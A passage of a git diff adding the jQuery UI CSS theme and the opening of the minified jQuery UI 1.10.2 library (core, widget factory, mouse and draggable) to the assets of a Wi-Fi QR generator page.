background-position: 0 -64px; +} +.ui-icon-arrowreturnthick-1-n { + background-position: -16px -64px; +} +.ui-icon-arrowreturnthick-1-e { + background-position: -32px -64px; +} +.ui-icon-arrowreturnthick-1-s { + background-position: -48px -64px; +} +.ui-icon-arrowreturn-1-w { + background-position: -64px -64px; +} +.ui-icon-arrowreturn-1-n { + background-position: -80px -64px; +} +.ui-icon-arrowreturn-1-e { + background-position: -96px -64px; +} +.ui-icon-arrowreturn-1-s { + background-position: -112px -64px; +} +.ui-icon-arrowrefresh-1-w { + background-position: -128px -64px; +} +.ui-icon-arrowrefresh-1-n { + background-position: -144px -64px; +} +.ui-icon-arrowrefresh-1-e { + background-position: -160px -64px; +} +.ui-icon-arrowrefresh-1-s { + background-position: -176px -64px; +} +.ui-icon-arrow-4 { + background-position: 0 -80px; +} +.ui-icon-arrow-4-diag { + background-position: -16px -80px; +} +.ui-icon-extlink { + background-position: -32px -80px; +} +.ui-icon-newwin { + background-position: -48px -80px; +} +.ui-icon-refresh { + background-position: -64px -80px; +} +.ui-icon-shuffle { + background-position: -80px -80px; +} +.ui-icon-transfer-e-w { + background-position: -96px -80px; +} +.ui-icon-transferthick-e-w { + background-position: -112px -80px; +} +.ui-icon-folder-collapsed { + background-position: 0 -96px; +} +.ui-icon-folder-open { + background-position: -16px -96px; +} +.ui-icon-document { + background-position: -32px -96px; +} +.ui-icon-document-b { + background-position: -48px -96px; +} +.ui-icon-note { + background-position: -64px -96px; +} +.ui-icon-mail-closed { + background-position: -80px -96px; +} +.ui-icon-mail-open { + background-position: -96px -96px; +} +.ui-icon-suitcase { + background-position: -112px -96px; +} +.ui-icon-comment { + background-position: -128px -96px; +} +.ui-icon-person { + background-position: -144px -96px; +} +.ui-icon-print { + background-position: -160px -96px; +} +.ui-icon-trash { + background-position: -176px -96px; +} +.ui-icon-locked { + background-position: -192px -96px; +} +.ui-icon-unlocked { + background-position: -208px -96px; +} +.ui-icon-bookmark { + background-position: -224px -96px; +} +.ui-icon-tag { + background-position: -240px -96px; +} +.ui-icon-home { + background-position: 0 -112px; +} +.ui-icon-flag { + background-position: -16px -112px; +} +.ui-icon-calendar { + background-position: -32px -112px; +} +.ui-icon-cart { + background-position: -48px -112px; +} +.ui-icon-pencil { + background-position: -64px -112px; +} +.ui-icon-clock { + background-position: -80px -112px; +} +.ui-icon-disk { + background-position: -96px -112px; +} +.ui-icon-calculator { + background-position: -112px -112px; +} +.ui-icon-zoomin { + background-position: -128px -112px; +} +.ui-icon-zoomout { + background-position: -144px -112px; +} +.ui-icon-search { + background-position: -160px -112px; +} +.ui-icon-wrench { + background-position: -176px -112px; +} +.ui-icon-gear { + background-position: -192px -112px; +} +.ui-icon-heart { + background-position: -208px -112px; +} +.ui-icon-star { + background-position: -224px -112px; +} +.ui-icon-link { + background-position: -240px -112px; +} +.ui-icon-cancel { + background-position: 0 -128px; +} +.ui-icon-plus { + background-position: -16px -128px; +} +.ui-icon-plusthick { + background-position: -32px -128px; +} +.ui-icon-minus { + background-position: -48px -128px; +} +.ui-icon-minusthick { + background-position: -64px -128px; +} +.ui-icon-close { + background-position: -80px -128px; +} +.ui-icon-closethick { + background-position: -96px -128px; +} +.ui-icon-key { + background-position: -112px -128px; +} +.ui-icon-lightbulb { + background-position: -128px -128px; +} +.ui-icon-scissors { + background-position: -144px -128px; +} +.ui-icon-clipboard { + background-position: -160px -128px; +} +.ui-icon-copy { + background-position: -176px -128px; +} +.ui-icon-contact { + background-position: -192px -128px; +} +.ui-icon-image { + background-position: -208px -128px; +} +.ui-icon-video { + background-position: -224px -128px; +} +.ui-icon-script { + background-position: -240px -128px; +} +.ui-icon-alert { + background-position: 0 -144px; +} +.ui-icon-info { + background-position: -16px -144px; +} +.ui-icon-notice { + background-position: -32px -144px; +} +.ui-icon-help { + background-position: -48px -144px; +} +.ui-icon-check { + background-position: -64px -144px; +} +.ui-icon-bullet { + background-position: -80px -144px; +} +.ui-icon-radio-on { + background-position: -96px -144px; +} +.ui-icon-radio-off { + background-position: -112px -144px; +} +.ui-icon-pin-w { + background-position: -128px -144px; +} +.ui-icon-pin-s { + background-position: -144px -144px; +} +.ui-icon-play { + background-position: 0 -160px; +} +.ui-icon-pause { + background-position: -16px -160px; +} +.ui-icon-seek-next { + background-position: -32px -160px; +} +.ui-icon-seek-prev { + background-position: -48px -160px; +} +.ui-icon-seek-end { + background-position: -64px -160px; +} +.ui-icon-seek-start { + background-position: -80px -160px; +} +/* ui-icon-seek-first is deprecated, use ui-icon-seek-start instead */ +.ui-icon-seek-first { + background-position: -80px -160px; +} +.ui-icon-stop { + background-position: -96px -160px; +} +.ui-icon-eject { + background-position: -112px -160px; +} +.ui-icon-volume-off { + background-position: -128px -160px; +} +.ui-icon-volume-on { + background-position: -144px -160px; +} +.ui-icon-power { + background-position: 0 -176px; +} +.ui-icon-signal-diag { + background-position: -16px -176px; +} +.ui-icon-signal { + background-position: -32px -176px; +} +.ui-icon-battery-0 { + background-position: -48px -176px; +} +.ui-icon-battery-1 { + background-position: -64px -176px; +} +.ui-icon-battery-2 { + background-position: -80px -176px; +} +.ui-icon-battery-3 { + background-position: -96px -176px; +} +.ui-icon-circle-plus { + background-position: 0 -192px; +} +.ui-icon-circle-minus { + background-position: -16px -192px; +} +.ui-icon-circle-close { + background-position: -32px -192px; +} +.ui-icon-circle-triangle-e { + background-position: -48px -192px; +} +.ui-icon-circle-triangle-s { + background-position: -64px -192px; +} +.ui-icon-circle-triangle-w { + background-position: -80px -192px; +} +.ui-icon-circle-triangle-n { + background-position: -96px -192px; +} +.ui-icon-circle-arrow-e { + background-position: -112px -192px; +} +.ui-icon-circle-arrow-s { + background-position: -128px -192px; +} +.ui-icon-circle-arrow-w { + background-position: -144px -192px; +} +.ui-icon-circle-arrow-n { + background-position: -160px -192px; +} +.ui-icon-circle-zoomin { + background-position: -176px -192px; +} +.ui-icon-circle-zoomout { + background-position: -192px -192px; +} +.ui-icon-circle-check { + background-position: -208px -192px; +} +.ui-icon-circlesmall-plus { + background-position: 0 -208px; +} +.ui-icon-circlesmall-minus { + background-position: -16px -208px; +} +.ui-icon-circlesmall-close { + background-position: -32px -208px; +} +.ui-icon-squaresmall-plus { + background-position: -48px -208px; +} +.ui-icon-squaresmall-minus { + background-position: -64px -208px; +} +.ui-icon-squaresmall-close { + background-position: -80px -208px; +} +.ui-icon-grip-dotted-vertical { + background-position: 0 -224px; +} +.ui-icon-grip-dotted-horizontal { + background-position: -16px -224px; +} +.ui-icon-grip-solid-vertical { + background-position: -32px -224px; +} +.ui-icon-grip-solid-horizontal { + background-position: -48px -224px; +} +.ui-icon-gripsmall-diagonal-se { + background-position: -64px -224px; +} +.ui-icon-grip-diagonal-se { + background-position: -80px -224px; +} + +/* Misc visuals +----------------------------------*/ + +/* Corner radius */ +.ui-corner-all, +.ui-corner-top, +.ui-corner-left, +.ui-corner-tl { + border-top-left-radius: 4px; +} +.ui-corner-all, +.ui-corner-top, +.ui-corner-right, +.ui-corner-tr { + border-top-right-radius: 4px; +} +.ui-corner-all, +.ui-corner-bottom, +.ui-corner-left, +.ui-corner-bl { + border-bottom-left-radius: 4px; +} +.ui-corner-all, +.ui-corner-bottom, +.ui-corner-right, +.ui-corner-br { + border-bottom-right-radius: 4px; +} + +/* Overlays */ +.ui-widget-overlay { + background: #666666 50% repeat; + opacity: 0.5; + filter: Alpha(Opacity=50); +} +.ui-widget-shadow { + margin: -5px 0 0 -5px; + padding: 5px; + background: #000000 repeat-x; + opacity: 0.2; + filter: Alpha(Opacity=20); + border-radius: 5px; +} diff --git a/assets/pages/wifi-qr-generator/jquery-ui.min.js b/assets/pages/wifi-qr-generator/jquery-ui.min.js new file mode 100644 index 000000000..d5f600e01 --- /dev/null +++ b/assets/pages/wifi-qr-generator/jquery-ui.min.js @@ -0,0 +1,13234 @@ +(function (t, e) { + function i(e, i) { + var n, + o, + a, + r = e.nodeName.toLowerCase(); + return 'area' === r + ? ((n = e.parentNode), + (o = n.name), + e.href && o && 'map' === n.nodeName.toLowerCase() + ? ((a = t('img[usemap=#' + o + ']')[0]), !!a && s(a)) + : !1) + : (/input|select|textarea|button|object/.test(r) + ? !e.disabled + : 'a' === r + ? e.href || i + : i) && s(e); + } + function s(e) { + return ( + t.expr.filters.visible(e) && + !t(e) + .parents() + .addBack() + .filter(function () { + return 'hidden' === t.css(this, 'visibility'); + }).length + ); + } + var n = 0, + o = /^ui-id-\d+$/; + (t.ui = t.ui || {}), + t.extend(t.ui, { + version: '1.10.2', + keyCode: { + BACKSPACE: 8, + COMMA: 188, + DELETE: 46, + DOWN: 40, + END: 35, + ENTER: 13, + ESCAPE: 27, + HOME: 36, + LEFT: 37, + NUMPAD_ADD: 107, + NUMPAD_DECIMAL: 110, + NUMPAD_DIVIDE: 111, + NUMPAD_ENTER: 108, + NUMPAD_MULTIPLY: 106, + NUMPAD_SUBTRACT: 109, + PAGE_DOWN: 34, + PAGE_UP: 33, + PERIOD: 190, + RIGHT: 39, + SPACE: 32, + TAB: 9, + UP: 38, + }, + }), + t.fn.extend({ + focus: (function (e) { + return function (i, s) { + return 'number' == typeof i + ? this.each(function () { + var e = this; + setTimeout(function () { + t(e).focus(), s && s.call(e); + }, i); + }) + : e.apply(this, arguments); + }; + })(t.fn.focus), + scrollParent: function () { + var e; + return ( + (e = + (t.ui.ie && + /(static|relative)/.test(this.css('position'))) || + /absolute/.test(this.css('position')) + ? this.parents() + .filter(function () { + return ( + /(relative|absolute|fixed)/.test( + t.css(this, 'position'), + ) && + /(auto|scroll)/.test( + t.css(this, 'overflow') + + t.css(this, 'overflow-y') + + t.css(this, 'overflow-x'), + ) + ); + }) + .eq(0) + : this.parents() + .filter(function () { + return /(auto|scroll)/.test( + t.css(this, 'overflow') + + t.css(this, 'overflow-y') + + t.css(this, 'overflow-x'), + ); + }) + .eq(0)), + /fixed/.test(this.css('position')) || !e.length + ? t(document) + : e + ); + }, + zIndex: function (i) { + if (i !== e) return this.css('zIndex', i); + if (this.length) + for ( + var s, n, o = t(this[0]); + o.length && o[0] !== document; + + ) { + if ( + ((s = o.css('position')), + ('absolute' === s || + 'relative' === s || + 'fixed' === s) && + ((n = parseInt(o.css('zIndex'), 10)), + !isNaN(n) && 0 !== n)) + ) + return n; + o = o.parent(); + } + return 0; + }, + uniqueId: function () { + return this.each(function () { + this.id || (this.id = 'ui-id-' + ++n); + }); + }, + removeUniqueId: function () { + return this.each(function () { + o.test(this.id) && t(this).removeAttr('id'); + }); + }, + }), + t.extend(t.expr[':'], { + data: t.expr.createPseudo + ? t.expr.createPseudo(function (e) { + return function (i) { + return !!t.data(i, e); + }; + }) + : function (e, i, s) { + return !!t.data(e, s[3]); + }, + focusable: function (e) { + return i(e, !isNaN(t.attr(e, 'tabindex'))); + }, + tabbable: function (e) { + var s = t.attr(e, 'tabindex'), + n = isNaN(s); + return (n || s >= 0) && i(e, !n); + }, + }), + t('').outerWidth(1).jquery || + t.each(['Width', 'Height'], function (i, s) { + function n(e, i, s, n) { + return ( + t.each(o, function () { + (i -= parseFloat(t.css(e, 'padding' + this)) || 0), + s && + (i -= + parseFloat( + t.css(e, 'border' + this + 'Width'), + ) || 0), + n && + (i -= + parseFloat(t.css(e, 'margin' + this)) || + 0); + }), + i + ); + } + var o = 'Width' === s ? ['Left', 'Right'] : ['Top', 'Bottom'], + a = s.toLowerCase(), + r = { + innerWidth: t.fn.innerWidth, + innerHeight: t.fn.innerHeight, + outerWidth: t.fn.outerWidth, + outerHeight: t.fn.outerHeight, + }; + (t.fn['inner' + s] = function (i) { + return i === e + ? r['inner' + s].call(this) + : this.each(function () { + t(this).css(a, n(this, i) + 'px'); + }); + }), + (t.fn['outer' + s] = function (e, i) { + return 'number' != typeof e + ? r['outer' + s].call(this, e) + : this.each(function () { + t(this).css(a, n(this, e, !0, i) + 'px'); + }); + }); + }), + t.fn.addBack || + (t.fn.addBack = function (t) { + return this.add( + null == t ? this.prevObject : this.prevObject.filter(t), + ); + }), + t('').data('a-b', 'a').removeData('a-b').data('a-b') && + (t.fn.removeData = (function (e) { + return function (i) { + return arguments.length + ? e.call(this, t.camelCase(i)) + : e.call(this); + }; + })(t.fn.removeData)), + (t.ui.ie = !!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase())), + (t.support.selectstart = + 'onselectstart' in document.createElement('div')), + t.fn.extend({ + disableSelection: function () { + return this.bind( + (t.support.selectstart ? 'selectstart' : 'mousedown') + + '.ui-disableSelection', + function (t) { + t.preventDefault(); + }, + ); + }, + enableSelection: function () { + return this.unbind('.ui-disableSelection'); + }, + }), + t.extend(t.ui, { + plugin: { + add: function (e, i, s) { + var n, + o = t.ui[e].prototype; + for (n in s) + (o.plugins[n] = o.plugins[n] || []), + o.plugins[n].push([i, s[n]]); + }, + call: function (t, e, i) { + var s, + n = t.plugins[e]; + if ( + n && + t.element[0].parentNode && + 11 !== t.element[0].parentNode.nodeType + ) + for (s = 0; n.length > s; s++) + t.options[n[s][0]] && n[s][1].apply(t.element, i); + }, + }, + hasScroll: function (e, i) { + if ('hidden' === t(e).css('overflow')) return !1; + var s = i && 'left' === i ? 'scrollLeft' : 'scrollTop', + n = !1; + return e[s] > 0 + ? !0 + : ((e[s] = 1), (n = e[s] > 0), (e[s] = 0), n); + }, + }); +})(jQuery), + (function (t, e) { + var i = 0, + s = Array.prototype.slice, + n = t.cleanData; + (t.cleanData = function (e) { + for (var i, s = 0; null != (i = e[s]); s++) + try { + t(i).triggerHandler('remove'); + } catch (o) {} + n(e); + }), + (t.widget = function (i, s, n) { + var o, + a, + r, + h, + l = {}, + c = i.split('.')[0]; + (i = i.split('.')[1]), + (o = c + '-' + i), + n || ((n = s), (s = t.Widget)), + (t.expr[':'][o.toLowerCase()] = function (e) { + return !!t.data(e, o); + }), + (t[c] = t[c] || {}), + (a = t[c][i]), + (r = t[c][i] = + function (t, i) { + return this._createWidget + ? (arguments.length && this._createWidget(t, i), + e) + : new r(t, i); + }), + t.extend(r, a, { + version: n.version, + _proto: t.extend({}, n), + _childConstructors: [], + }), + (h = new s()), + (h.options = t.widget.extend({}, h.options)), + t.each(n, function (i, n) { + return t.isFunction(n) + ? ((l[i] = (function () { + var t = function () { + return s.prototype[i].apply( + this, + arguments, + ); + }, + e = function (t) { + return s.prototype[i].apply(this, t); + }; + return function () { + var i, + s = this._super, + o = this._superApply; + return ( + (this._super = t), + (this._superApply = e), + (i = n.apply(this, arguments)), + (this._super = s), + (this._superApply = o), + i + ); + }; + })()), + e) + : ((l[i] = n), e); + }), + (r.prototype = t.widget.extend( + h, + {widgetEventPrefix: a ? h.widgetEventPrefix : i}, + l, + { + constructor: r, + namespace: c, + widgetName: i, + widgetFullName: o, + }, + )), + a + ? (t.each(a._childConstructors, function (e, i) { + var s = i.prototype; + t.widget( + s.namespace + '.' + s.widgetName, + r, + i._proto, + ); + }), + delete a._childConstructors) + : s._childConstructors.push(r), + t.widget.bridge(i, r); + }), + (t.widget.extend = function (i) { + for ( + var n, o, a = s.call(arguments, 1), r = 0, h = a.length; + h > r; + r++ + ) + for (n in a[r]) + (o = a[r][n]), + a[r].hasOwnProperty(n) && + o !== e && + (i[n] = t.isPlainObject(o) + ? t.isPlainObject(i[n]) + ? t.widget.extend({}, i[n], o) + : t.widget.extend({}, o) + : o); + return i; + }), + (t.widget.bridge = function (i, n) { + var o = n.prototype.widgetFullName || i; + t.fn[i] = function (a) { + var r = 'string' == typeof a, + h = s.call(arguments, 1), + l = this; + return ( + (a = + !r && h.length + ? t.widget.extend.apply(null, [a].concat(h)) + : a), + r + ? this.each(function () { + var s, + n = t.data(this, o); + return n + ? t.isFunction(n[a]) && + '_' !== a.charAt(0) + ? ((s = n[a].apply(n, h)), + s !== n && s !== e + ? ((l = + s && s.jquery + ? l.pushStack(s.get()) + : s), + !1) + : e) + : t.error( + "no such method '" + + a + + "' for " + + i + + ' widget instance', + ) + : t.error( + 'cannot call methods on ' + + i + + ' prior to initialization; ' + + "attempted to call method '" + + a + + "'", + ); + }) + : this.each(function () { + var e = t.data(this, o); + e + ? e.option(a || {})._init() + : t.data(this, o, new n(a, this)); + }), + l + ); + }; + }), + (t.Widget = function () {}), + (t.Widget._childConstructors = []), + (t.Widget.prototype = { + widgetName: 'widget', + widgetEventPrefix: '', + defaultElement: '
', + options: {disabled: !1, create: null}, + _createWidget: function (e, s) { + (s = t(s || this.defaultElement || this)[0]), + (this.element = t(s)), + (this.uuid = i++), + (this.eventNamespace = + '.' + this.widgetName + this.uuid), + (this.options = t.widget.extend( + {}, + this.options, + this._getCreateOptions(), + e, + )), + (this.bindings = t()), + (this.hoverable = t()), + (this.focusable = t()), + s !== this && + (t.data(s, this.widgetFullName, this), + this._on(!0, this.element, { + remove: function (t) { + t.target === s && this.destroy(); + }, + }), + (this.document = t( + s.style ? s.ownerDocument : s.document || s, + )), + (this.window = t( + this.document[0].defaultView || + this.document[0].parentWindow, + ))), + this._create(), + this._trigger( + 'create', + null, + this._getCreateEventData(), + ), + this._init(); + }, + _getCreateOptions: t.noop, + _getCreateEventData: t.noop, + _create: t.noop, + _init: t.noop, + destroy: function () { + this._destroy(), + this.element + .unbind(this.eventNamespace) + .removeData(this.widgetName) + .removeData(this.widgetFullName) + .removeData(t.camelCase(this.widgetFullName)), + this.widget() + .unbind(this.eventNamespace) + .removeAttr('aria-disabled') + .removeClass( + this.widgetFullName + + '-disabled ' + + 'ui-state-disabled', + ), + this.bindings.unbind(this.eventNamespace), + this.hoverable.removeClass('ui-state-hover'), + this.focusable.removeClass('ui-state-focus'); + }, + _destroy: t.noop, + widget: function () { + return this.element; + }, + option: function (i, s) { + var n, + o, + a, + r = i; + if (0 === arguments.length) + return t.widget.extend({}, this.options); + if ('string' == typeof i) + if ( + ((r = {}), + (n = i.split('.')), + (i = n.shift()), + n.length) + ) { + for ( + o = r[i] = t.widget.extend({}, this.options[i]), + a = 0; + n.length - 1 > a; + a++ + ) + (o[n[a]] = o[n[a]] || {}), (o = o[n[a]]); + if (((i = n.pop()), s === e)) + return o[i] === e ? null : o[i]; + o[i] = s; + } else { + if (s === e) + return this.options[i] === e + ? null + : this.options[i]; + r[i] = s; + } + return this._setOptions(r), this; + }, + _setOptions: function (t) { + var e; + for (e in t) this._setOption(e, t[e]); + return this; + }, + _setOption: function (t, e) { + return ( + (this.options[t] = e), + 'disabled' === t && + (this.widget() + .toggleClass( + this.widgetFullName + + '-disabled ui-state-disabled', + !!e, + ) + .attr('aria-disabled', e), + this.hoverable.removeClass('ui-state-hover'), + this.focusable.removeClass('ui-state-focus')), + this + ); + }, + enable: function () { + return this._setOption('disabled', !1); + }, + disable: function () { + return this._setOption('disabled', !0); + }, + _on: function (i, s, n) { + var o, + a = this; + 'boolean' != typeof i && ((n = s), (s = i), (i = !1)), + n + ? ((s = o = t(s)), + (this.bindings = this.bindings.add(s))) + : ((n = s), + (s = this.element), + (o = this.widget())), + t.each(n, function (n, r) { + function h() { + return i || + (a.options.disabled !== !0 && + !t(this).hasClass('ui-state-disabled')) + ? ('string' == typeof r ? a[r] : r).apply( + a, + arguments, + ) + : e; + } + 'string' != typeof r && + (h.guid = r.guid = + r.guid || h.guid || t.guid++); + var l = n.match(/^(\w+)\s*(.*)$/), + c = l[1] + a.eventNamespace, + u = l[2]; + u ? o.delegate(u, c, h) : s.bind(c, h); + }); + }, + _off: function (t, e) { + (e = + (e || '').split(' ').join(this.eventNamespace + ' ') + + this.eventNamespace), + t.unbind(e).undelegate(e); + }, + _delay: function (t, e) { + function i() { + return ('string' == typeof t ? s[t] : t).apply( + s, + arguments, + ); + } + var s = this; + return setTimeout(i, e || 0); + }, + _hoverable: function (e) { + (this.hoverable = this.hoverable.add(e)), + this._on(e, { + mouseenter: function (e) { + t(e.currentTarget).addClass('ui-state-hover'); + }, + mouseleave: function (e) { + t(e.currentTarget).removeClass( + 'ui-state-hover', + ); + }, + }); + }, + _focusable: function (e) { + (this.focusable = this.focusable.add(e)), + this._on(e, { + focusin: function (e) { + t(e.currentTarget).addClass('ui-state-focus'); + }, + focusout: function (e) { + t(e.currentTarget).removeClass( + 'ui-state-focus', + ); + }, + }); + }, + _trigger: function (e, i, s) { + var n, + o, + a = this.options[e]; + if ( + ((s = s || {}), + (i = t.Event(i)), + (i.type = ( + e === this.widgetEventPrefix + ? e + : this.widgetEventPrefix + e + ).toLowerCase()), + (i.target = this.element[0]), + (o = i.originalEvent)) + ) + for (n in o) n in i || (i[n] = o[n]); + return ( + this.element.trigger(i, s), + !( + (t.isFunction(a) && + a.apply(this.element[0], [i].concat(s)) === + !1) || + i.isDefaultPrevented() + ) + ); + }, + }), + t.each({show: 'fadeIn', hide: 'fadeOut'}, function (e, i) { + t.Widget.prototype['_' + e] = function (s, n, o) { + 'string' == typeof n && (n = {effect: n}); + var a, + r = n + ? n === !0 || 'number' == typeof n + ? i + : n.effect || i + : e; + (n = n || {}), + 'number' == typeof n && (n = {duration: n}), + (a = !t.isEmptyObject(n)), + (n.complete = o), + n.delay && s.delay(n.delay), + a && t.effects && t.effects.effect[r] + ? s[e](n) + : r !== e && s[r] + ? s[r](n.duration, n.easing, o) + : s.queue(function (i) { + t(this)[e](), o && o.call(s[0]), i(); + }); + }; + }); + })(jQuery), + (function (t) { + var e = !1; + t(document).mouseup(function () { + e = !1; + }), + t.widget('ui.mouse', { + version: '1.10.2', + options: { + cancel: 'input,textarea,button,select,option', + distance: 1, + delay: 0, + }, + _mouseInit: function () { + var e = this; + this.element + .bind('mousedown.' + this.widgetName, function (t) { + return e._mouseDown(t); + }) + .bind('click.' + this.widgetName, function (i) { + return !0 === + t.data( + i.target, + e.widgetName + '.preventClickEvent', + ) + ? (t.removeData( + i.target, + e.widgetName + '.preventClickEvent', + ), + i.stopImmediatePropagation(), + !1) + : undefined; + }), + (this.started = !1); + }, + _mouseDestroy: function () { + this.element.unbind('.' + this.widgetName), + this._mouseMoveDelegate && + t(document) + .unbind( + 'mousemove.' + this.widgetName, + this._mouseMoveDelegate, + ) + .unbind( + 'mouseup.' + this.widgetName, + this._mouseUpDelegate, + ); + }, + _mouseDown: function (i) { + if (!e) { + this._mouseStarted && this._mouseUp(i), + (this._mouseDownEvent = i); + var s = this, + n = 1 === i.which, + o = + 'string' == typeof this.options.cancel && + i.target.nodeName + ? t(i.target).closest(this.options.cancel) + .length + : !1; + return n && !o && this._mouseCapture(i) + ? ((this.mouseDelayMet = !this.options.delay), + this.mouseDelayMet || + (this._mouseDelayTimer = setTimeout( + function () { + s.mouseDelayMet = !0; + }, + this.options.delay, + )), + this._mouseDistanceMet(i) && + this._mouseDelayMet(i) && + ((this._mouseStarted = + this._mouseStart(i) !== !1), + !this._mouseStarted) + ? (i.preventDefault(), !0) + : (!0 === + t.data( + i.target, + this.widgetName + + '.preventClickEvent', + ) && + t.removeData( + i.target, + this.widgetName + + '.preventClickEvent', + ), + (this._mouseMoveDelegate = function (t) { + return s._mouseMove(t); + }), + (this._mouseUpDelegate = function (t) { + return s._mouseUp(t); + }), + t(document) + .bind( + 'mousemove.' + this.widgetName, + this._mouseMoveDelegate, + ) + .bind( + 'mouseup.' + this.widgetName, + this._mouseUpDelegate, + ), + i.preventDefault(), + (e = !0), + !0)) + : !0; + } + }, + _mouseMove: function (e) { + return t.ui.ie && + (!document.documentMode || 9 > document.documentMode) && + !e.button + ? this._mouseUp(e) + : this._mouseStarted + ? (this._mouseDrag(e), e.preventDefault()) + : (this._mouseDistanceMet(e) && + this._mouseDelayMet(e) && + ((this._mouseStarted = + this._mouseStart(this._mouseDownEvent, e) !== + !1), + this._mouseStarted + ? this._mouseDrag(e) + : this._mouseUp(e)), + !this._mouseStarted); + }, + _mouseUp: function (e) { + return ( + t(document) + .unbind( + 'mousemove.' + this.widgetName, + this._mouseMoveDelegate, + ) + .unbind( + 'mouseup.' + this.widgetName, + this._mouseUpDelegate, + ), + this._mouseStarted && + ((this._mouseStarted = !1), + e.target === this._mouseDownEvent.target && + t.data( + e.target, + this.widgetName + '.preventClickEvent', + !0, + ), + this._mouseStop(e)), + !1 + ); + }, + _mouseDistanceMet: function (t) { + return ( + Math.max( + Math.abs(this._mouseDownEvent.pageX - t.pageX), + Math.abs(this._mouseDownEvent.pageY - t.pageY), + ) >= this.options.distance + ); + }, + _mouseDelayMet: function () { + return this.mouseDelayMet; + }, + _mouseStart: function () {}, + _mouseDrag: function () {}, + _mouseStop: function () {}, + _mouseCapture: function () { + return !0; + }, + }); + })(jQuery), + (function (t) { + t.widget('ui.draggable', t.ui.mouse, { + version: '1.10.2', + widgetEventPrefix: 'drag', + options: { + addClasses: !0, + appendTo: 'parent', + axis: !1, + connectToSortable: !1, + containment: !1, + cursor: 'auto', + cursorAt: !1, + grid: !1, + handle: !1, + helper: 'original', + iframeFix: !1, + opacity: !1, + refreshPositions: !1, + revert: !1, + revertDuration: 500, + scope: 'default', + scroll: !0, + scrollSensitivity: 20, + scrollSpeed: 20, + snap: !1, + snapMode: 'both', + snapTolerance: 20, + stack: !1, + zIndex: !1, + drag: null, + start: null, + stop: null, + }, + _create: function () { + 'original' !== this.options.helper || + /^(?:r|a|f)/.test(this.element.css('position')) || + (this.element[0].style.position = 'relative'), + this.options.addClasses && + this.element.addClass('ui-draggable'), + this.options.disabled && + this.element.addClass('ui-draggable-disabled'), + this._mouseInit(); + }, + _destroy: function () { + this.element.removeClass( + 'ui-draggable ui-draggable-dragging ui-draggable-disabled', + ), + this._mouseDestroy(); + }, + _mouseCapture: function (e) { + var i = this.options; + return this.helper || + i.disabled || + t(e.target).closest('.ui-resizable-handle').length > 0 + ? !1 + : ((this.handle = this._getHandle(e)), + this.handle + ? (t( + i.iframeFix === !0 ? 'iframe' : i.iframeFix, + ).each(function () { + t( + "
", + ) + .css({ + width: this.offsetWidth + 'px', + height: this.offsetHeight + 'px', + position: 'absolute', + opacity: '0.001', + zIndex: 1e3, + }) + .css(t(this).offset()) + .appendTo('body'); + }), + !0) + : !1); + }, + _mouseStart: function (e) { + var i = this.options; + return ( + (this.helper = this._createHelper(e)), + this.helper.addClass('ui-draggable-dragging'), + this._cacheHelperProportions(), + t.ui.ddmanager && (t.ui.ddmanager.current = this), + this._cacheMargins(), + (this.cssPosition = this.helper.css('position')), + (this.scrollParent = this.helper.scrollParent()), + (this.offset = this.positionAbs = this.element.offset()), + (this.offset = { + top: this.offset.top - this.margins.top, + left: this.offset.left - this.margins.left, + }), + t.extend(this.offset, { + click: { + left: e.pageX - this.offset.left, + top: e.pageY - this.offset.top, + }, + parent: this._getParentOffset(), + relative: this._getRelativeOffset(), + }), + (this.originalPosition = this.position = + this._generatePosition(e)), + (this.originalPageX = e.pageX), + (this.originalPageY = e.pageY), + i.cursorAt && this._adjustOffsetFromHelper(i.cursorAt), + i.containment && this._setContainment(), + this._trigger('start', e) === !1 + ? (this._clear(), !1) + : (this._cacheHelperProportions(), + t.ui.ddmanager && + !i.dropBehaviour && + t.ui.ddmanager.prepareOffsets(this, e), + this._mouseDrag(e, !0), + t.ui.ddmanager && t.ui.ddmanager.dragStart(this, e), + !0) + ); + }, + _mouseDrag: function (e, i) { + if ( + ((this.position = this._generatePosition(e)), + (this.positionAbs = this._convertPositionTo('absolute')), + !i) + ) { + var s = this._uiHash(); + if (this._trigger('drag', e, s) === !1) + return this._mouseUp({}), !1; + this.position = s.position; + } + return ( + (this.options.axis && 'y' === this.options.axis) || + (this.helper[0].style.left = this.position.left + 'px'), + (this.options.axis && 'x' === this.options.axis) || + (this.helper[0].style.top = this.position.top + 'px'), + t.ui.ddmanager && t.ui.ddmanager.drag(this, e), + !1 + ); + }, + _mouseStop: function (e) { + var i, + s = this, + n = !1, + o = !1; + for ( + t.ui.ddmanager && + !this.options.dropBehaviour && + (o = t.ui.ddmanager.drop(this, e)), + this.dropped && + ((o = this.dropped), (this.dropped = !1)), + i = this.element[0]; + i && (i = i.parentNode); + + ) + i === document && (n = !0); + return n || 'original' !== this.options.helper + ? (('invalid' === this.options.revert && !o) || + ('valid' === this.options.revert && o) || + this.options.revert === !0 || + (t.isFunction(this.options.revert) && + this.options.revert.call(this.element, o)) + ? t(this.helper).animate( + this.originalPosition, + parseInt(this.options.revertDuration, 10), + function () { + s._trigger('stop', e) !== !1 && s._clear(); + }, + ) + : this._trigger('stop', e) !== !1 && this._clear(), + !1) + : !1; + }, + _mouseUp: function (e) { + return ( + t('div.ui-draggable-iframeFix').each(function () { + this.parentNode.removeChild(this); + }), + t.ui.ddmanager && t.ui.ddmanager.dragStop(this, e), + t.ui.mouse.prototype._mouseUp.call(this, e) + ); + }, + cancel: function () { + return ( + this.helper.is('.ui-draggable-dragging') + ? this._mouseUp({}) + : this._clear(), + this + ); + }, + _getHandle: function (e) { + return this.options.handle + ? !!t(e.target).closest( + this.element.find(this.options.handle), + ).length + : !0; + }, + _createHelper: function (e) { + var i = this.options, + s = t.isFunction(i.helper) + ? t(i.helper.apply(this.element[0], [e])) + : 'clone' === i.helper + ? this.element.clone().removeAttr('id') + : this.element; + return ( + s.parents('body').length || + s.appendTo( + 'parent' === i.appendTo + ? this.element[0].parentNode + : i.appendTo, + ), + s[0] === this.element[0] || + /(fixed|absolute)/.test(s.css('position')) || + s.css('position', 'absolute'), + s + ); + }, + _adjustOffsetFromHelper: function (e) { + 'string' == typeof e && (e = e.split(' ')), + t.isArray(e) && (e = {left: +e[0], top: +e[1] || 0}), + 'left' in e && + (this.offset.click.left = e.left + this.margins.left), + 'right' in e && + (this.offset.click.left = + this.helperProportions.width - + e.right + + this.margins.left), + 'top' in e && + (this.offset.click.top = e.top + this.margins.top), + 'bottom' in e && + (this.offset.click.top = + this.helperProportions.height - + e.bottom + + this.margins.top); + }, + _getParentOffset: function () { + 